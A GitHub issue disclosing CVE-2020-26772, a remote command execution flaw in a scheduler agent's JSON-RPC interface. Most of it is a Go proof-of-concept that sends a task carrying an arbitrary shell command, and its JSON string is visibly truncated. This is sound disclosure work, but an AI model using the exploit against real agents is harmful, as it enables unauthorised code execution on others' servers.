New issue

Jump to bottom

There is a RCE vulnerability when run agent #56

Open Pd1r opened this issue on Oct 6, 2020 · 1 comment

Pd1r commented on Oct 6, 2020 • edited

Credit to Pd1r of Chaitin Tech CVE-2020-26772

when agent is running，we can send special tcp data flow to agent，then it will execute any cmd without any limit

// use agent ip and port

```
package main

import (
    "encoding/json"
    "fmt"
    "net"
    "net/rpc"
    "net/rpc/jsonrpc"
)

type JobResult struct {
    OutMsg    string
    ErrMsg    string
    IsOk      bool
    IsTimeout bool
}

type Task struct {
    Id             int
    GroupId        int
    ServerIds      string
    ServerType     int
    TaskName       string
    Description    string
    CronSpec       string
    Concurrent     int
    Command        string
    Timeout        int
    ExecuteTimes   int
    PrevTime       int64
    Status         int
    IsNotify       int
    NotifyType     int
    NotifyTplId    int
    NotifyUserIds string
    CreateId       int
    UpdateId       int
    CreateTime     int64
    UpdateTime     int64
}

func main() {
    req := `{"Id":17,"GroupId":1,"ServerIds":"12","ServerType":0,"TaskName":"wwwwwww","Description":"wwwwwww","CronSpec":"* * * * *","Concurrent":0,"Command":"echo \"123123\"
\u003e
/tmp/lin_text","Timeout":1000,"ExecuteTimes":0,"PrevTime":0,"Status":0,"IsNotify":0,"NotifyType":0,"NotifyTplId":0,"NotifyUserIds":"","CreateId":1,"UpdateId":0,"CreateTime":1600687576
    conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", "192.168.43.160", 1564))
    reply := new(JobResult)
    if err != nil {
        reply.IsOk = false
        reply.ErrMsg = "Net error:" + err.Error()
        reply.IsTimeout = false
        reply.OutMsg = ""
        fmt.Println("error ", err)
        return
        //return reply
    }

    defer conn.Close()
    client := rpc.NewClientWithCodec(jsonrpc.NewClientCodec(conn))

    defer client.Close()
    reply = new(JobResult)

    task := new(Task)
    err = json.Unmarshal([]byte(req),&task)
    if err != nil  {
        fmt.Println("error in unmarshal" , err)
    }
    err = client.Call("RpcTask.RunTask", task, &reply)
    if err != nil {
        reply.IsOk = false
        reply.ErrMsg = "Net error:" + err.Error()
        reply.IsTimeout = false
        reply.OutMsg = ""
        //return reply
    }
    return
}
```

OS-WS commented on Sep 9, 2021

Hi **@Pd1r** **@george518**
Was this issue fixed?
If so, in what commit?
If not, will it be fixed?

Thanks!

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants